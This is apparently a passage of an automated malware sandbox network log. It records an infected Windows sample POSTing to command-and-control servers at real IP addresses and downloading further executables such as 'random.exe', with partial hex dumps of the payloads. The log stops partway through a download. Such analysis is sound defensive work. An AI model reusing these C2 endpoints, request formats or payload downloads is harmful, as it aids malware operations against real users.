Nov 28, 2024 11:05:41.189743996 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIDAKFIJJKJJJKEBKJE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 2d 2d 0d 0a Data Ascii: ------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="message"ybncbhylepme------FHIDAKFIJJKJJJKEBKJE--
Nov 28, 2024 11:05:41.640681982 CET	271	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 28, 2024 11:05:46.627290964 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKFHDAKECFHIDHJDAAA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 2d 2d 0d 0a Data Ascii: ------AKKFHDAKECFHIDHJDAAAContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------AKKFHDAKECFHIDHJDAAAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AKKFHDAKECFHIDHJDAAA--

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49915	185.215.113.16	80	1780	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 11:05:41.766321898 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 28, 2024 11:05:43.114826918 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 10:05:42 GMT Content-Type: application/octet-stream Content-Length: 1928192 Last-Modified: Thu, 28 Nov 2024 09:42:34 GMT Connection: keep-alive ETag: "67483b0a-1d6c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 30 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0L@`L$@WkDLL @.rsrcD@.idata @ +@zeiislbdP1P@qmlrfrpw LF@.taggant00L"J@
Nov 28, 2024 11:05:43.114917994 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 11:05:43.115654945 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 11:05:43.115848064 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 11:05:43.115860939 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 11:05:43.116355896 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 11:05:43.116405964 CET	1236	IN	Data Raw: 12 90 fd 67 13 7e 92 89 99 eb e1 fa 11 77 b7 4e 60 4b e2 86 02 fc fd 62 c5 0d 1d b7 d7 4f c0 cd 04 7b 93 49 1c ff 43 b6 03 47 e0 48 a0 a7 c2 46 51 fd 90 b6 5b 57 d5 8e 00 bb f5 f0 92 4b 9a 09 6f eb d2 aa 1b cb e0 44 e0 a7 e2 06 13 7c 28 18 cb 3b Data Ascii: g~wN`KbO{ICGHFQ[WKoD\|(;8BP1kOP NCKu;"GUX:J<nwOJTbkmS'FB[3 ;qDwn3)S/:7J$C0"Mfn-W
Nov 28, 2024 11:05:43.116415977 CET	248	IN	Data Raw: f3 1f 73 09 4c 73 d6 72 69 a3 6c 36 5d 30 cd 36 68 29 a7 e2 25 9b a7 a6 c9 e0 4e 2e 74 59 8f 14 7b ee 67 5d b9 32 5e 49 5e 01 a0 d9 7e 43 73 38 27 8a c2 86 9f 9a ff eb 16 e9 9f a6 f9 c4 f9 85 e3 43 9c f9 62 4d 7c 9a 52 22 ab 4f d1 5b 16 eb e1 86 Data Ascii: sLsril6]06h)%N.tY{g]2^I^~Cs8'CbM\|R"O[]w{-',:rc9A\|4e*qqDqb!-^)t<\|;^n7tjJy[jiT%lyH~=`hh ~?\|'7ki;
Nov 28, 2024 11:05:43.117134094 CET	1236	IN	Data Raw: e4 3c fc 48 36 f3 59 09 e5 2d e4 ca 7e a6 9c ba 25 1f 0c 52 0c ac 55 fd a4 bb 5d 06 20 0c 63 f2 b5 36 49 74 34 3b 95 65 b1 33 d5 eb 19 43 6b 2c c3 58 65 43 c3 27 9a 4b 19 5a db 6f e5 48 24 ba 0a ed 90 df fe ab d0 25 8b a9 e0 b9 7d 7b 84 11 12 6f Data Ascii: <H6Y-~%RU] c6It4;e3Ck,XeC'KZoH$%}{o/XGyVyqfPKwl3j<>tOA`A)Lc"HcAhK(3Id!JuE\ENxZI7~0<?@ksc;Gf0E
Nov 28, 2024 11:05:43.117233992 CET	1236	IN	Data Raw: d1 a0 0d b4 ed cb 72 bd cd b1 4d 26 c6 ea 62 88 73 d7 f2 49 5f 37 de ea 97 0d 25 8a 25 d1 3d 42 81 8b de 3e a2 33 d1 a4 d8 5d df 03 43 9e b1 e6 86 16 d5 4c a8 2a 4d f0 32 a0 79 75 b8 13 31 c1 19 59 93 bb aa e7 f2 e6 1f 93 0a e5 91 b9 38 5c 6a a2 Data Ascii: rM&bsI_7%%=B>3]CLM2yu1Y8\j2 WQs\|\9btk\|m;3)GlF/]yf@\|F=C&at;!upFj,$90-GB'5qir@xTp`N@6O\<
Nov 28, 2024 11:05:43.234875917 CET	1236	IN	Data Raw: 54 17 a5 17 42 2d c8 fb 18 4a 19 b8 8a 7b ff eb 40 e9 a3 5c e1 b4 cf 38 d2 fd 7b ea ba 6a 5d 75 92 2b e2 b5 27 44 25 ce da 85 a2 2d 3b 05 e0 6c 36 a6 bf 45 62 cd 70 b7 4e f4 9a 50 d0 be 84 7e 1f 2c 56 ef df 27 c6 9d 3d 6c e9 fb 28 93 da 49 f9 95 Data Ascii: TB-J{@\8{j]u+'D%-;l6EbpNP~,V'=l(I)v"JxW[N--jvuN4fn/McZbFW$tIh'Y]$hYpMnJZIJp652[xsW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49932	185.215.113.206	80	1780	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 11:05:46.767024040 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKFHDAKECFHIDHJDAAA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 2d 2d 0d 0a Data Ascii: ------AKKFHDAKECFHIDHJDAAAContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------AKKFHDAKECFHIDHJDAAAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AKKFHDAKECFHIDHJDAAA--
Nov 28, 2024 11:05:48.647605896 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	65450	185.215.113.43	80	8984	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 11:06:40.024549007 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 28, 2024 11:06:41.313381910 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 10:06:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	65460	185.215.113.43	80	8984	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 11:06:42.962950945 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Nov 28, 2024 11:06:45.387265921 CET	762	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 10:06:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 33 62 0d 0a 20 3c 63 3e 31 30 30 39 38 35 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 30 39 38 35 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 31 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 30 39 38 35 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 39 38 35 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 [TRUNCATED] Data Ascii: 23b <c>1009855001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1009856001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1009857001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1009858001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1009859001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1009860001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	65466	31.41.244.11	80	8984	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 11:06:45.522656918 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 28, 2024 11:06:46.854698896 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 10:06:46 GMT Content-Type: application/octet-stream Content-Length: 4451840 Last-Modified: Thu, 28 Nov 2024 08:52:02 GMT Connection: keep-alive ETag: "67482f32-43ee00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 25 da 45 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4e 4b 00 00 3a 76 00 00 32 00 00 00 d0 c7 00 00 10 00 00 00 60 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 c8 00 00 04 00 00 8e 6b 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f a0 73 00 73 00 00 00 00 90 73 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 b8 c7 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 b7 c7 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL%Eg(NK:v2`K@kD@ _sss s6(@.rsrcsF(@.idata sH(@ 8sJ(@lkzekxbo@\|L(@lpafuxeeC@.taggant0"C@
Nov 28, 2024 11:06:46.854837894 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 11:06:46.854850054 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 11:06:46.854862928 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 11:06:46.854938984 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 11:06:46.855088949 CET	1236	IN	Data Raw: e6 bc 52 4a 71 fb 76 95 06 4a dc 79 3b 63 28 18 9b 80 dc d0 f9 4d 86 5f d4 29 d5 0b c6 5e 32 17 0b e9 eb e0 59 4e 43 95 d0 31 fb 93 be ae 0d d3 e1 3e 5f 9d 03 55 64 c2 4b 39 a0 d2 83 c1 22 0c ae 73 fb 57 3e c9 f9 07 f6 96 f4 f7 0f 53 03 da 0d ee Data Ascii: RJqvJy;c(M_)^2YNC1>_UdK9"sW>SC[Ry<xJ)9" 9[4n~@*u5C.DCN&.bVjn>yA..:({Nz}WQAY7sNp
Nov 28, 2024 11:06:46.855102062 CET	896	IN	Data Raw: 03 36 8e 90 c8 22 76 58 02 cb 7a 42 06 b9 e4 18 b1 02 9b 10 e1 13 57 97 da ca f5 71 7a 05 88 bd ce 85 c2 d4 c2 8e ab 48 f0 c6 95 fb 18 64 a4 59 0b 70 fa 43 ef 71 44 d6 90 52 40 68 a5 de 75 5e e2 c1 1a da 61 55 d7 aa e1 be 52 da 2c 40 46 b9 da 0d Data Ascii: 6"vXzBWqzHdYpCqDR@hu^aUR,@F[tL-a=[cduRJ :?F(V<GVvN ]d{WoS$@0J,:V\|Dqn1L!2$PH5`q/LM'vY-Ola>8q>\|q_j
Nov 28, 2024 11:06:46.855387926 CET	1236	IN	Data Raw: 40 ee cf 80 40 f0 58 19 27 8f 61 2d be ea 28 95 dc 8a a4 ce 77 00 e9 56 ba 6a 7f b8 e1 08 48 3e 20 62 04 d2 2b 4c 7e 08 0b c5 05 a4 cd 45 bc 69 8a 2b ae 51 00 fb 52 6c be f2 f1 dc ad 01 9d da 09 c9 83 57 72 ce 5c b8 52 fa 6f 58 92 49 fb 54 e8 a0 Data Ascii: @@X'a-(wVjH> b+L~Ei+QRlWr\RoXITEu[t`Yx{sy5$Kl{ALLLq EQ~;'#\|k+6Gx L@C,@S)'/-K;FM7c^%Ce_b-$ll(WzJN\aip
Nov 28, 2024 11:06:46.855401993 CET	1236	IN	Data Raw: de ce 0b fa 69 e9 42 03 de 82 98 39 aa c9 a1 26 d2 31 31 f5 1d 22 d0 d0 ab e6 60 53 b6 26 20 1e 98 01 e1 d9 94 2f fc 54 3c 64 e9 44 9a 8d c4 58 26 21 3d d9 01 45 37 2d 13 7d c4 20 ed 51 c6 40 7f 14 06 2f 5a ad 27 a9 07 a2 e1 b8 18 47 c6 0d 49 29 Data Ascii: iB9&11"`S& /T<dDX&!=E7-} Q@/Z'GI)c!Vn }77brE#07B(Ng"yk{2Zp_/wM}Cy&6RyJDXq?P39J35Kk%-V@Q?1raN!
Nov 28, 2024 11:06:46.855413914 CET	448	IN	Data Raw: 90 51 af 31 67 16 96 10 5c 11 37 bd 0b 99 83 b6 51 68 7a 1c dd ce 7f 33 e8 4c 86 7b 15 c3 d1 ee de 16 35 19 11 cf 45 cd 38 a4 6c 94 9b 5d 66 b4 c9 ae 14 69 b2 8b da 23 05 26 6c 98 52 9d a8 8b f7 a5 f1 a8 d3 07 24 d0 5f 06 a3 da 7f 77 d1 2b e2 70 Data Ascii: Q1g\7Qhz3L{5E8l]fi#&lR$_w+pNi_H]8=B2:J2l{;z\@mE6>=7&IwK5&ru:",m[g8*yOK[_8G4trChV",
Nov 28, 2024 11:06:46.974899054 CET	1236	IN	Data Raw: 7c 92 64 64 df 28 71 a9 8a 23 00 33 5a 01 88 aa 8e 32 22 fc 98 43 8b 0a 42 22 95 98 8a 1a 7b 9a 56 3a 8e cb d6 22 a1 dd 99 b0 0d 17 9d c9 02 7e ee a8 55 09 a6 0e 06 80 1e c3 98 2e 22 cc 08 fd a1 15 74 44 ca 96 82 5d ee f3 66 a4 1e f5 a2 d9 b0 32 Data Ascii: \|dd(q#3Z2"CB"{V:"~U."tD]f2s<k_Vq4`KzBR\|.r"%oHyk$!KRg82&/o{'Mfj$$5Jh2<DBj+P)T4G%K3&[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	65490	185.215.113.43	80	8984	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 11:06:56.290695906 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 39 38 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009855001&unit=246122658369
Nov 28, 2024 11:06:57.661202908 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 10:06:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	65493	31.41.244.11	80	8984	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 11:06:57.811131954 CET	62	OUT	GET /files/unique2/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 28, 2024 11:06:59.240946054 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 10:06:59 GMT Content-Type: application/octet-stream Content-Length: 1968640 Last-Modified: Thu, 28 Nov 2024 08:52:10 GMT Connection: keep-alive ETag: "67482f3a-1e0a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f6 d9 52 43 b2 b8 3c 10 b2 b8 3c 10 b2 b8 3c 10 ac ea b8 10 ac b8 3c 10 ac ea a9 10 ad b8 3c 10 ac ea bf 10 cd b8 3c 10 95 7e 47 10 b1 b8 3c 10 